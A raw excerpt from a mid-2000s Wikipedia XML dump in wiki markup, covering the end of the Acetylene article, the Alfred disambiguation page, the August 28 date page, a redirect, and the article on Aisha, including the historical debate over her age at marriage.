Mixtures with air containing between 3% and 82% acetylene are explosive on ignition. The minimum ignition temperature is 335°C.&lt;ref name=&quot;HitCL&quot; /&gt;

==Reactions==
Above 400 °C (which is quite low for a hydrocarbon), the [[pyrolysis]] of acetylene will start. The main products are the [[dimer]] [[vinylacetylene]] (C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;) and [[benzene]]. At  temperatures above 900 °C, the main product will be [[soot]].

Polymerization with [[Ziegler-Natta catalyst]]s produces [[polyacetylene]] films.

==Uses==
Approximately 80 percent of the acetylene produced annually in the [[United States]] is used in chemical synthesis. The remaining 20 percent is used primarily for [[oxyacetylene]] [[gas welding]] and [[blowtorch|cutting]]. Combustion with oxygen produces a flame of over 3300°C, releasing 11,800 [[Joule|J]]/g.

Acetylene is also used in the [[carbide lamp|acetylene ('carbide') lamp]], formerly found in mines (not to be confused with the [[Davy lamp]]), and on vintage [[automobile|cars]]; it is still sometimes used by [[spelunker]]s. In this context, the acetylene is generated by adding [[calcium carbide]] (CaC&lt;sub&gt;2&lt;/sub&gt;) pellets to [[water]].

In former times a few towns used acetylene for lighting, including [[Tata_(Hungary)|Tata]] in [[Hungary]] where it was installed on [[24 July]] [[1897]], and [[North Petherton]], [[England]] in 1898.

Nowadays acetylene is used for [[carburization]] (that is, [[carburization|hardening]]) of [[steel]]. Research in the last ten years has concluded that acetylene is the best hydrocarbon available for this purpose.

Acetylene has been proposed as a carbon feedstock for [[Molecular Manufacturing]] using Nanotechnology. Since it does not occur naturally, using acetylene could limit out-of-control self-replication.

==Other meanings==
Sometimes the plural &quot;acetylenes&quot; is used to more generally mean organic chemical compounds that contain the -C&lt;u&gt;=&lt;/u&gt;C= group: see [[-yne]].

==References==
&lt;!--See [[Wikipedia:Footnotes]] for an explanation of how to generate footnotes using the &lt;ref(erences/)&gt; tags--&gt;
&lt;references/&gt;

==External links==
* [http://jchemed.chem.wisc.edu/JCESoft/CCA/CCA5/MAIN/1ORGANIC/ORG07/MENU.HTM Acetylene at Chemistry Comes Alive!]
* {{gutenberg|name=Acetylene, the Principles of Its Generation and Use|no=8144}}

[[Category:Alkynes]]

[[ca:Acetilè]]
[[da:Acetylen]]
[[de:Ethin]]
[[el:Αιθίνιο]]
[[es:Acetileno]]
[[eo:Acetileno]]
[[fr:Acétylène]]
[[it:Acetilene]]
[[hu:Acetilén]]
[[nl:Acetyleen]]
[[ja:アセチレン]]
[[pl:Etyn]]
[[pt:Acetileno]]
[[sk:Acetylén]]
[[sr:Ацетилен]]
[[fi:Asetyleeni]]
[[sv:Etyn]]
[[zh:乙炔]]</text>
    </revision>
  </page>
  <page>
    <title>Alfred</title>
    <id>1779</id>
    <revision>
      <id>31644715</id>
      <timestamp>2005-12-16T19:48:35Z</timestamp>
      <contributor>
        <ip>81.153.10.145</ip>
      </contributor>
      <text xml:space="preserve">'''Alfred''' is the name of some places in the [[United States|United States of America]]:
*[[Alfred, Maine]]
*[[Alfred, New York]] (village)
*[[Alfred (town), New York |Alfred, New York]] (town) 

and in [[Canada]]:
*[[Alfred, Ontario]]

There are also:
*[[Alfred the Great]], king of [[Wessex]] and first king of [[England]]
*[[Alfred Hitchcock]]
*[[Alfred Nobel]], the inventor of [[dynamite]].
*[[Alfred Pennyworth]], Bruce Wayne's ([[Batman]]) butler
*[[Alfred State College]] (in [[New York]] State)
*[[Alfred University]] (in [[New York]] State)
*[[Alfred Rosenberg]]
*[[Alfred (masque)]], [[Thomas Augustine Arne]]'s ''[[Masque]] of Alfred'' (known for &quot;[[Rule Britannia]]&quot;)
*[[King Alfred Chair of English Literature]] (at the [[University of Liverpool]])
*[[The Alfred Hospital]] in [[Melbourne]], [[Australia]]

==Note==

Alfred University (NY) , Alfred State College (NY), the town Alfred (NY), Arne's ''Masque of Alfred'' and Liverpool's King Alfred Chair of English Literature are all named after Alfred the Great.  

'''Alfred''' is also a [[Computer and video games|video game]] [[fictional character|character]] from the [[Fatal Fury]] series.

'''Alfred''' is also the name by which the personnel of the [[Charles de Gaulle International Airport]] in Paris calls [[Merhan Karimi Nasseri]], who has been living in the departure hall of Terminal 1 since 1988.

{{disambig}}

[[de:Alfred]]
[[eo:Alfredo]]
[[fr:Alfred]]
[[hu:Alfréd]]
[[pl:Alfred]]
[[sk:Alfréd]]
[[sv:Alfred]]</text>
    </revision>
  </page>
  <page>
    <title>August 28</title>
    <id>1781</id>
    <revision>
      <id>42113144</id>
      <timestamp>2006-03-03T22:29:49Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv silliness</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=28}}
|}
'''[[August 28]]''' is the 240th day of the year in the Gregorian Calendar (241st in leap years), with 125 days remaining.

==Events==
*[[475]] - The Pannonian general [[Orestes (Roman soldier)|Orestes]] forces western [[Roman Emperors|Roman Emperor]] [[Julius Nepos]] to flee his capital of [[Ravenna]] and appoints [[Romulus Augustus]] in his place.
*[[489]] - [[Theodoric the Great|Theodoric]], king of the [[Ostrogoths]] defeats [[Odoacer]] at the [[Battle of Isonzo (489)|Battle of Isonzo]], forcing his way into Italy.
*[[1521]] - The [[Turkey|Turks]] occupy [[Belgrade]]
*[[1542]] - Reinforced with at least 600 arquebusiers and cavalry, Imam [[Ahmad Gragn]] attacks the Portuguese camp in the [[Battle of Wofla]]. The Portuguese are scattered, their leader [[Christovão da Gama]] captured and afterwards executed.
*[[1565]] - [[St. Augustine, Florida]], established. It is the oldest surviving European settlement in the [[United States]].
*[[1609]] - [[Henry Hudson]] discovers [[Delaware Bay]].
*[[1619]] - [[Ferdinand II of Germany|Ferdinand II]] is elected emperor of the [[Holy Roman Empire]].
*[[1830]] - The ''[[Tom Thumb]]'' presages the first railway service in the United States.
*[[1845]] - ''[[Scientific American]]'' magazine publishes its first issue
*[[1849]] - After a month-long siege, [[Venice]], which had declared itself independent, surrenders to [[Austria]].
*[[1850]] - [[Richard Wagner]]'s opera ''[[Lohengrin (opera)|Lohengrin]]'' premieres in [[Weimar, Germany]].
*[[1862]] - [[Second Battle of Bull Run]], also known as the battle of Second Manassas
*[[1867]] - The United States occupies [[Midway Island]].
*[[1879]] - [[Cetshwayo]], last king of the [[Zulu]]s, is captured by the British.
*[[1884]] - First known photograph of a [[tornado]] is made.
*[[1898]] - [[Caleb Bradham]] renames his carbonated soft drink &quot;[[Pepsi-Cola]]&quot;.
*[[1907]] - [[UPS]] is founded by [[James E. (Jim) Casey]] in [[Seattle, Washington]]. 
*[[1913]] - [[Queen Wilhelmina]] opens the [[Peace Palace]] in [[The Hague]].
*[[1914]] - The [[Royal Navy|British fleet]] beats the German fleet in the [[Battle of Heligoland Bight]]. 
*[[1916]] - [[Germany]] declares war on [[Romania]].
*1916 - [[Italy]] declares war on Germany.
*[[1917]] - Ten [[Suffragettes|suffragist]]s are arrested when picketing the [[White House]].
*[[1918]] - [[PFC Spartak Varna]] founded.
*[[1937]] - [[Toyota]] Motors becomes an independent company
*[[1943]] - In [[Denmark]], a [[general strike]] against the [[Nazi]] occupation is started.
*[[1944]] - [[Marseille]] and [[Toulon]] are liberated.
*[[1953]] - [[Nippon Television]] broadcasts [[Japan]]'s first television show, including its first TV advertisement.
*[[1955]] - Black [[Mississippi]]an [[Emmett Till]] is murdered, allegedly for whistling to a white woman and calling her ''baby''.
*[[1963]] - During a 200,000-person [[civil rights]] rally in at the [[Lincoln Memorial]] in [[Washington, D.C.]], [[Martin Luther King, Jr.]] gives his famous ''[[I have a dream]]'' speech.
*[[1964]] - The [[Philadelphia 1964 race riot|Philadelphia race riot]] began.
*[[1968]] - Riots in [[Chicago, Illinois]], during the Democratic National Convention
*[[1971]] - The [[dollar]] is allowed to float against the [[yen]] for the first time.
*[[1972]] - During the [[Olympic Games]] in [[Munich]], [[Mark Spitz]] gets his first of seven gold medals in [[swimming]] events.
*[[1975]] - Missionary Armand Doll is imprisoned in [[Mozambique]] by Marxist extremists. 
*[[1979]] - An [[provisional IRA|IRA]] bomb explodes on the Great Market in [[Brussels]].
*[[1981]] - The [[National Centers for Disease Control]] announce a high incidence of [[Pneumocystis]] and [[Kaposi's sarcoma]] in gay men. Soon, these will be recognized as symptoms of an [[immune system|immune]] disorder, which will be called [[AIDS]].
*[[1986]] -  Stage of siege declared in [[Bolivia]].
*1986 - US Navy officer [[Jerry A. Whitworth]] is sentenced to 365 years [[imprisonment]] for [[espionage]] for the [[Soviet Union]].
*[[1988]] - At an air show in [[Ramstein]], [[West Germany]], three stunt fighters collide; 69 people die.
*[[1990]] - [[Iraq]] declares [[Kuwait]] to be its newest [[Provinces of Iraq|province]].
*1990 - [[The Plainfield Tornado]]: An F5 tornado hits in [[Plainfield, Illinois]], and [[Joliet, Illinois]], killing 28 people.
*[[1991]] - A drunk motorman speeds into the [[Union Square (New York City)|Union Square]] station on the No. 4 line in [[New York City]]. The train derails on the curve, killing six passengers and injuring dozens. 
*[[1993]] - A dam breaks in [[Qinghai]], [[China]]. 223 die.
*1993 - 76 die in an airplane crash in [[Tajikistan]].
*1993 - [[Ong Teng Cheong]] elected president of [[Singapore]]
*[[1994]] - First [[Japan]]ese [[Gay pride|gay pride march]].
*[[1995]] - A mortar shell kills 38 people in [[Sarajevo]], [[Bosnia and Herzegovina|Bosnia]]. 
*[[1996]] - Britain's [[Charles, Prince of Wales]], and [[Diana, Princess of Wales]], are divorced.
*[[1998]] - Pakistan's [[National Assembly of Pakistan|National Assembly]] passes a [[Constitution of Pakistan|constitutional]] [[Fifteenth Amendment to the Constitution of Pakistan|amendment]] to make the &quot;[[Qur'an]] and [[Sunnah]]&quot; the &quot;supreme law&quot; but the bill is defeated in the [[Senate of Pakistan|Senate]].
*[[2001]] - [[Netherlands|Dutch]] prime minister [[Wim Kok]] announces that he will not be available for another term as PvdA party leader or prime minister after the 2002 elections.
*[[2005]] - A [[Effect of Hurricane Katrina on New Orleans|mandatory evacuation]] is ordered by [[New Orleans, Louisiana]] mayor [[Ray Nagin]] and Louisiana governor [[Kathleen Blanco]] as [[Hurricane Katrina]] moved nearer to Louisiana.

==Births==
*[[1025]] - [[Emperor Go-Reizei]] of Japan (d. [[1068]])
*[[1582]] (O.S.) - [[Taichang Emperor]], of the Ming dynasty of China (d. [[1620]])
*[[1592]] - [[George Villiers, 1st Duke of Buckingham]], English statesman (d. [[1628]])
*[[1612]] - [[Marcus Zuerius van Boxhorn]], Dutch scholar (d. [[1653]])
*[[1714]] - [[Anthony Ulrich II, Duke of Brunswick-Lüneburg]] (d. [[1774]])
*[[1749]] - [[Johann Wolfgang von Goethe]], German writer and scientist (d. [[1832]])
*[[1774]] - [[Elizabeth Ann Seton]], first American-born Catholic saint (d. [[1821]])
*[[1814]] - [[Sheridan le Fanu]], Irish writer (d. [[1873]])
*[[1828]] (O.S.) - [[Leo Tolstoy]], Russian writer (d. [[1910]])
*[[1849]] - [[Benjamin Godard]], French composer (d. [[1895]])
*[[1853]] - [[Vladimir Shukhov]], Russian engineer and inventor (d. [[1939]])
*[[1867]] - [[Umberto Giordano]], Italian composer (d. [[1948]])
*[[1878]] - [[George Whipple]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1976]])
*[[1894]] - [[Karl Böhm]], Austrian conductor (d. [[1981]])
*[[1897]] - [[Charles Boyer]], French actor (d. [[1978]])
*[[1903]] - [[Bruno Bettelheim]], American psychologist (d. [[1990]])
*[[1904]] - [[Secondo Campini]], Italian jet engine pioneer (d. [[1980]])
*[[1906]] - [[John Betjeman]], English poet (d. [[1984]])
*[[1908]] - [[Roger Tory Peterson]], American ornithologist and illustrator (d. [[1996]])
*[[1910]] - [[Tjalling Koopmans]], Dutch economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner (d. [[1985]])
*[[1911]] - [[Joseph Luns]], Dutch politician (d. [[2002]])
*[[1913]] - [[Robertson Davies]], Canadian writer (d. [[1995]])
*1913 - [[Richard Tucker]], American tenor (d. [[1975]])
*[[1916]] - [[Jack Vance]], American author
*[[1917]] - [[Jack Kirby]], American comic book artist (d. [[1994]])
*[[1919]] - [[Godfrey Hounsfield]], English electrical engineer and inventor, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[2004]])
*[[1919]] - [[Gyula Várady]], Hungarian footballer (d. [[2002]])
*[[1924]] - [[Janet Frame]], New Zealand author
*1924 - [[Peggy Ryan]], American actress (d. [[2004]])
*[[1925]] - [[Donald O'Connor]], American singer, dancer, and actor (d. [[2003]])
*[[1929]] - [[Istvan Kertesz]], Hungarian conductor (d. [[1973]])
*[[1930]] - [[Ben Gazzara]], American actor
*[[1931]] - [[John Shirley-Quirk]], English bass-baritone
*[[1932]] - [[Andy Bathgate]], Canadian [[ice hockey]] player
*[[1938]] - [[Paul Martin]], [[Prime Minister of Canada]]
*1938 - [[Maurizio Costanzo]], Italian television journalist
*[[1941]] - [[Sybille de Selys Longchamps|Baroness Sybille de Selys Longchamps]], Belgian aristocrat
*[[1942]] - [[Sterling Morrison]], American guitarist ([[The Velvet Underground]]) (d. [[1995]])
*[[1943]] - [[David Soul]], American actor
*1943 - [[Lou Piniella]], baseball manager
*[[1944]] - [[Marianne Heemskerk]], Dutch swimmer
*[[1947]] - [[Liza Wang]], Hong Kong actress
*[[1957]] - [[Daniel Stern (actor)|Daniel Stern]], American actor
*1957 - [[Rick Rossovich]], American actor
*[[1958]] - [[Scott Hamilton]], American figure skater
*[[1960]] - [[Emma Samms]], English actress
*[[1961]] - [[Kim Appleby]], British singer
*[[1965]] - [[Amanda Tapping]], Canadian actress
*[[1965]] - [[Shania Twain]], Canadian singer
*[[1966]] - [[René Higuita]], Colombian football goalkeeper
*[[1968]] - [[Billy Boyd]], Scottish actor
*[[1969]] - [[Jason Priestley]], Canadian actor
*1969 - [[Jack Black (actor)|Jack Black]], American actor and musician
*[[1971]] - [[Janet Evans]], American swimmer
*[[1978]] - [[Jess Margera]], American drummer
*[[1979]] - [[Robert Hoyzer]], German football referee
*[[1981]] - [[Martin Erat]], Czech hockey player
*[[1982]] - [[LeAnn Rimes]], American singer

==Deaths==
*[[388]] - [[Magnus Maximus]], [[Roman usurper]] against [[Valentinian III]]
*[[430]] - [[Augustine of Hippo]], North African saint and theologian (b. [[354]])
*[[1341]] - King [[Leo V of Armenia]] (murdered) (b. [[1309]])
*[[1481]] - King [[Afonso V of Portugal]] (b. [[1432]])
*[[1645]] - [[Hugo Grotius]], Dutch philosopher and writer (b. [[1583]])
*[[1654]] - [[Axel Oxenstierna]], Lord High Chancellor of Sweden (b. [[1583]])
*[[1678]] - [[John Berkeley, 1st Baron Berkeley of Stratton]], English soldier (b. [[1602]])
*[[1757]] - [[David Hartley (philosopher)|David Hartley]], English philosopher (b. [[1705]])
*[[1784]] - [[Junípero Serra]], Spanish Franciscan missionary (b. [[1713]])
*[[1785]] - [[Jean-Baptiste Pigalle]], French sculptor (b. [[1714]])
*[[1793]] - [[Adam Philippe, Comte de Custine]], French general (executed) (b. [[1740]])
*[[1805]] - [[Alexander Carlyle]], Scottish church leader (b. [[1722]])
*[[1818]] - [[Jean Baptiste Point du Sable]], founder of Chicago
*[[1839]] - [[William Smith (geologist)|William Smith]], English geologist (b. [[1769]])
*[[1900]] - [[Henry Sidgwick]], English philosopher (b. [[1838]])
*[[1903]] - [[Frederick Law Olmsted]], American landscape architect (b. [[1822]])
*[[1919]] - [[Louis Botha]], Boer leader (b. [[1862]])
*[[1943]] - King [[Boris III of Bulgaria]] (b. [[1894]])
*[[1959]] - [[Bohuslav Martinů]], Romanian composer (b. [[1890]])
*[[1965]] - [[Giulio Racah]], Israeli physicist (b. [[1909]])
*[[1975]] - [[Fritz Wotruba]], Austrian sculptor (b. [[1907]])
*[[1981]] - [[Béla Guttman]], Hungarian footballer (b. [[1900]])
*[[1985]] - [[Ruth Gordon]], American actress (b. [[1896]])
*[[1987]] - [[John Huston]], American movie director (b. [[1906]])
*[[1990]] - [[Willy Vandersteen]], Belgian cartoonist (b. [[1913]])
*[[1993]] - [[William Stafford]], American writer (b. [[1914]])
*[[1995]] - [[Michael Ende]], German writer (b. [[1929]])
*[[2005]] - [[Esther Szekeres]], Hungarian mathematician (b. [[1910]])
*2005 - [[George Szekeres]], Hungarian mathematican (b. [[1911]])

==Holidays and observances==
*[[Hong Kong]]: Liberation Day ([[1945]])
*Many Christian churches: feast day of Saint [[Augustine of Hippo]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/28 BBC: On This Day]

----

[[August 27]] - [[August 29]] - [[July 28]] - [[September 28]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:28 Augustus]]
[[ar:28 أغسطس]]
[[an:28 d'agosto]]
[[ast:28 d'agostu]]
[[bg:28 август]]
[[be:28 жніўня]]
[[bs:28. august]]
[[ca:28 d'agost]]
[[ceb:Agosto 28]]
[[cv:Çурла, 28]]
[[co:28 d'aostu]]
[[cs:28. srpen]]
[[cy:28 Awst]]
[[da:28. august]]
[[de:28. August]]
[[et:28. august]]
[[el:28 Αυγούστου]]
[[es:28 de agosto]]
[[eo:28-a de aŭgusto]]
[[eu:Abuztuaren 28]]
[[fo:28. august]]
[[fr:28 août]]
[[fy:28 augustus]]
[[ga:28 Lúnasa]]
[[gl:28 de agosto]]
[[ko:8월 28일]]
[[hr:28. kolovoza]]
[[io:28 di agosto]]
[[id:28 Agustus]]
[[ia:28 de augusto]]
[[ie:28 august]]
[[is:28. ágúst]]
[[it:28 agosto]]
[[he:28 באוגוסט]]
[[jv:28 Agustus]]
[[ka:28 აგვისტო]]
[[csb:28 zélnika]]
[[ku:28'ê gelawêjê]]
[[la:28 Augusti]]
[[lt:Rugpjūčio 28]]
[[lb:28. August]]
[[hu:Augusztus 28]]
[[mk:28 август]]
[[ms:28 Ogos]]
[[nap:28 'e aùsto]]
[[nl:28 augustus]]
[[ja:8月28日]]
[[no:28. august]]
[[nn:28. august]]
[[oc:28 d'agost]]
[[pl:28 sierpnia]]
[[pt:28 de Agosto]]
[[ro:28 august]]
[[ru:28 августа]]
[[sco:28 August]]
[[sq:28 Gusht]]
[[scn:28 di austu]]
[[simple:August 28]]
[[sk:28. august]]
[[sl:28. avgust]]
[[sr:28. август]]
[[fi:28. elokuuta]]
[[sv:28 augusti]]
[[tl:Agosto 28]]
[[tt:28. August]]
[[te:ఆగష్టు 28]]
[[th:28 สิงหาคม]]
[[vi:28 tháng 8]]
[[tr:28 Ağustos]]
[[uk:28 серпня]]
[[wa:28 d' awousse]]
[[war:Agosto 28]]
[[zh:8月28日]]
[[pam:Agostu 28]]</text>
    </revision>
  </page>
  <page>
    <title>AvoidBiasDebate</title>
    <id>1782</id>
    <revision>
      <id>15900247</id>
      <timestamp>2002-04-17T16:56:03Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[wikipedia talk:Neutral point of view]]</text>
    </revision>
  </page>
  <page>
    <title>Aisha</title>
    <id>1783</id>
    <revision>
      <id>41720947</id>
      <timestamp>2006-03-01T07:37:28Z</timestamp>
      <contributor>
        <username>Savidan</username>
        <id>677067</id>
      </contributor>
      <comment>fix link</comment>
      <text xml:space="preserve">{{otheruses}}
{{WivesMuhammad}}
'''Aisha''', '''Ayesha''', ''''A'isha''', or ''''Aisha''' ([[Arabic language|Arabic ]]عائشة ''`ā'isha'', &quot;she who lives&quot;) was a wife of [[Muhammad]], whom Muslims regard as the final prophet of [[Islam]].

== Early life ==
It is not clear when Aisha was born. Most scholars calculate her age by reference to the date of her marriage to Muhammad ([[622]]) and then subtracting her age at marriage. However, there are many theories as to [[Aisha#Young marriage age controversy|her age at marriage]].

Aisha was the daughter of [[Abu Bakr]] of [[Mecca]]. They belonged to the [[Bani Tamim]] clan of the tribe of the [[Quraysh]], the tribe to which Muhammad also belonged. Aisha is said to have followed her father in accepting Islam when she was still young. She also joined him in his migration to [[Ethiopia]] in [[615]] CE; a number of Mecca's Muslims emigrated then, seeking refuge from persecution by the Meccans who still followed their pre-Islamic religions. 

According to the early Islamic historian [[al-Tabari]], Aisha's father tried to spare her the dangers and discomfort of the journey by solemnizing her marriage to her fiance, Jubair, son of Mut`am ibn `Adi. However, Mut’am refused to honor the long-standing betrothal, as he did not wish his family to be connected to the Muslim outcasts. The emigration to Ethiopia proved temporary and Abu Bakr's family returned to Mecca within a few years. Aisha was then betrothed to Muhammad.

== Aisha's marriage to Muhammad ==
The marriage was delayed until after the [[Hijra (Islam)|Hijra]], or migration to [[Medina]], in 622. Aisha and her older sister [[Asma]] only moved to Medina after Muhammad had already fled there. Abu Bakr gave Muhammad the money to build a house for himself. After this, the wedding was celebrated very simply, by the bride and groom drinking a bowl of milk in front of witnesses. 

=== Status as &quot;favorite wife&quot; ===
Even though the marriage may have been politically motivated, to mark the ties between Muhammad and his companion Abu Bakr, most early accounts say that Muhammad and Aisha became sincerely fond of each other. Aisha is usually described as Muhammad's favorite wife. [[Shi'a]] Muslims would disagree with this description, regarding it as politically motivated. They adduce the following episodes as proof that Muhammad and Aisha's marriage did not always go smoothly. 

==== Aisha accused of adultery ====
Aisha was traveling with her husband Muhammad and some of his followers. She left camp in the morning to search for her lost necklace; when she returned, she found that the company had broken camp and left without her. She waited patiently for half a day, until she was rescued by a man named Safwan and taken to rejoin the caravan. 

Malicious tongues started to wag, claiming that she must have been having an affair with Safwan. Some urged Muhammad to divorce his wife. He then received a revelation directing that adultery be proven by four eyewitnesses, rather than simply inferred from opportunity.  One passage of the Qur'an, &quot;Verily! They who spread the slander are a gang among you...&quot; (Qur'an 24.11), is usually taken as a rebuke to those who slandered Aisha.

====The story of the honey====
According to one widely-accepted tale, Muhammad's wife Zainab bint Jahsh was given a skin filled with honey, which she shared with her husband. He was fond of sweets and stayed overlong with Zainab bint Jash; at least in the opinion of Aisha and her co-wife [[Hafsa]]. Aisha and Hafsa conspired. Each of them was to tell Muhammad that the honey had given him bad breath. When he heard this from two wives, he believed that it was true and swore that he would eat no more of the honey. Soon afterwards, he reported that he had received a revelation, in which he was told that he could eat anything permitted by God (Qur'an 66:1).  In the following verses, Muhammad's wives are rebuked for their unruliness: &quot;your hearts are inclined (to oppose him)&quot;.

Word spread in the small Muslim community that Muhammad's wives were tyrannizing over the mild-mannered man, speaking sharply to him and conspiring against him. Umar, Hafsa's father, scolded his daughter and also spoke to Muhammad of the matter. Muhammad, saddened and upset, separated from his wives for a month, sleeping by himself on a lumpy mattress. By the end of this time, his wives were humbled and harmony, of a sort, was restored.

When Muslim commentators on the [[Qur'an]] explicate [[Surah]] 66, it is usually this story that is told to explain the &quot;occasion of revelation&quot;. 

There is a similar but alternative explanation of [[At-Tahrim|Surah 66]], also involving Aisha. In this story, Aisha and her co-wives were unhappy because Muhammad was infatuated with [[Maria al-Qibtiyya]], the Christian Coptic woman who bore Muhammad a brief-lived son. (Some accounts say that she was a slave, some that she converted to Islam, was freed, and was taken as a wife.)

==== The death of Muhammad ====
Ibn Ishaq, in his ''Sirat Rasulallah'', states that during Muhammad's last illness, he sought Aisha's apartments and died with his head in her lap. The Sunni take this as evidence of Muhammad's fondness for Aisha. 

Aisha never remarried after Muhammad's death. A passage in the Qur'an forbids any Muslim to marry the prophet's widows. 

: ''Nor is it right for you that ye should annoy God's Apostle, or that ye should marry his widows after him at any time. Truly such a thing is in God's sight an enormity.'' (Al-Ahzab 33: 53)

==After Muhammad ==
=== Aisha's father becomes the first caliph ===
After Muhammad's death in 632 C.E., Aisha's father Abu Bakr became the first [[caliph]], or leader of the Muslims. This matter is extremely controversial. Shi'a believe that Ali should have been chosen to lead; Sunni maintain that the community chose Abu Bakr, and did so in accordance with Muhammad's wishes. This is discussed in much greater detail in the article [[Succession to Muhammad]].

===The battle of the camel===
Abu Bakr's reign was short, and in 634 C.E. he was succeeded by [[Umar ibn al-Khattab|Umar]], as caliph. Umar reigned 10 years, and was then  followed by [[Uthman ibn Affan|Uthman]] in 644 C.E. Both of these men had been among Muhammad's earliest followers, were linked to him by clanship and marriage, and had taken prominent parts in various military campaigns. 

Aisha, in the meantime, lived in Medina and made several pilgrimages to Mecca.  
In 656 C.E. Uthman was killed by rebellious Muslim soldiers. The rebels then asked Ali to be the new caliph. Many reports absolve Ali of complicity in the murder. He is reported to have refused the caliphate, saying, &quot;You are not a people fit for my rulership nor am I a master fit for you people&quot;. He agreed to rule only after his followers persisted. 

Aisha raised a small army which confronted [[Ali]]'s army outside the city of [[Basra]]. Battle ensued and Aisha's forces were defeated. Aisha was directing her forces from a howdah on the back of a camel; this [[656]] battle is therefore called the [[Battle of the Camel]]. 

Ali captured Aisha but declined to harm her. He sent her back to Medina under military escort. She lived a retired life until she died in approximately [[678]].

== Young marriage age controversy ==
The age of Aisha at marriage is an extremely contentious issue. On the one hand, there are several [[hadith]]s (said to have been narrated by Aisha herself) which state she was six or seven years old when betrothed and nine when the marriage was consummated.  On the other hand, calculations based on information found in an early Muslim chronicler, [[Ibn Ishaq]], indicate that Aisha was at least fourteen to sixteen years old, thus past the age of [[puberty]]. Other [[hadith]]s suggest that Aisha may have been nineteen or twenty years old when she married. 

Many Muslim scholars have accepted the tradition that Aisha was nine years old when the marriage was consummated. This has in turn led critics to denounce Muhammad for having sexual relations with a girl so young, which in modern times would be classified as [[child sexual abuse]]. Some respond to this criticism by claiming that Aisha was post-pubescent at nine and that early [[marriageable age|marriages]] were common in most cultures until fairly recent times. 

However, other Muslim scholars point to other traditions that conflict with those attributed to Aisha in this matter. If the other traditions are right, this would imply that Aisha was either confused in her dating, was exaggerating her youth at marriage, or that her stories (which were not written down until more than 100 years after her death) had been garbled in transmission.  If we believe traditions that say she was post-pubescent when married, then these other traditions, from [[Ibn Ishaq]] and [[Tabari]] and others, seem much more convincing.  

From the viewpoint of the Islamic clergy, the [[ulema]], this explanation, while relieving them of one difficulty, poses another. The &quot;late marriage&quot; argument values the biographical and historical literature, the [[sira]], over the canonical [[hadith]], or oral traditions accepted by the ulema. However, anything that threatens the value of the hadith, and especially hadith narrated by Aisha, threatens the whole elaborate structure of Islamic law, or [[sharia]].  The [[Shi'a]] version of shari'a is less at risk in this one instance, as the Shi'a deprecate anything sourced to Aisha.

Liberal Muslims do not see any problem with saving Muhammad's character at the expense of shari'a. Conservative Muslims, and the ulema, tend to embrace the &quot;early puberty&quot; theories.

=== Evidence that Aisha was nine when the marriage was consummated === 
These traditions are from the hadith collections of [[Bukhari]] (d. [[870]]) and [[Muslim b. al-Hajjaj]] (d. [[875]]).  These two collections are in general regarded as the most authentic by [[Sunni]] Muslims. 

* Sahih Muslim Book 008, Number 3310: 'Aisha (Allah be pleased with her) reported: Allah's Apostle (may peace be upon him) married me when I was six years old, and I was admitted to his house when I was nine years old. 

* Sahih Bukhari Volume 7, Book 62, Number 88 Narrated 'Urwa: The Prophet wrote the (marriage contract) with 'Aisha while she was six years old and consummated his marriage with her while she was nine years old and she remained with him for nine years (i.e. till his death).

* Sahih Bukhari Volume 7, Book 62, Number 64 Narrated 'Aisha: that the Prophet married her when she was six years old and he consummated his marriage when she was nine years old, and then she remained with him for nine years (i.e., till his death).  

* Sahih Bukhari 8:151, Narrated 'Aisha: &quot;I used to play with the dolls in the presence of the Prophet , and my girl friends also used to play with me. When Allah's Apostle used to enter (my dwelling place) they used to hide themselves, but the Prophet would call them to join and play with me. (The playing with the dolls and similar images is forbidden, but it was allowed for 'Aisha at that time, as she was a little girl, not yet reached the age of puberty.) (Fateh-al-Bari page 143, Vol.13) 

* Sahih Bukhari vol. 5, Book 58, Number 234  Narrated 'Aisha:  The prophet engaged me when I was a girl of six. We went to Medina and stayed at the home of Harith Kharzraj. Then I got ill and my hair fell down. Later on my hair grew (again) and my mother, Um Ruman, came to me while I was playing in a swing with some of my girl friends.  She called me, and I went to her, not knowing what she wanted to do to me. She caught me by the hand and made me stand at the door of the house. I was breathless then, and when my breathing became all right, she took some water and rubbed my face and head with it. Then she took me into the house. There in the house I saw some Ansari women who said, &quot;Best wishes and Allah's blessing and a good luck.&quot; Then she entrusted me to them and they prepared me (for the marriage).

Other hadith in Bukhari repeat this information.

History from [[Tabari]], volume 9, page 131

* &quot;Then the men and women got up and left.  The Messenger of God consummated his marriage with me in my house when I was nine years old.  Neither a camel nor a sheep was slaughtered on behalf of me&quot;......(The Prophet) married her three years before the Emigration, when she was seven years old and consummated the marriage when she was nine years old, after he had emigrated to Medina in Shawwal.  She was eighteen years old when he died.

=== Evidence that Aisha was older than nine ===
* According to [[Ibn Hisham]]'s recension of [[Ibn Ishaq]]'s (d. [[768]]) biography of Prophet Muhammad, the ''Sirat Rashul Allah'', the earliest surviving biography of Muhammad, Aisha accepted Islam before [[Umar ibn al-Khattab]]. If true, then Aisha accepted Islam during the first few years of Islam. She could not have been less than 14 years in 1 AH - the time she got married (Al-Sirah al-Nabawiyyah, Ibn Hisham, Vol 1, Pg 227 - 234, Arabic, Maktabah al-Riyadh al-hadithah, Al-Riyadh).

* [[Tabari]] reports that when Abu Bakr planned on migrating to [[Ethiopia]] (8 years before [[Hijrah]]), he went to Mut`am - with whose son Aisha was engaged at that time - and asked him to take Aisha as his son's wife. Mut`am refused because Abu Bakr had converted to Islam. If Aisha was only six years old at the time of her betrothal to Muhammad, she could not have been born at the time Abu Bakr decided on migrating to [[Ethiopia]].  ''Tehqiq e umar e Siddiqah e Ka'inat, Habib ur Rahman Kandhalwi'', p. 38.

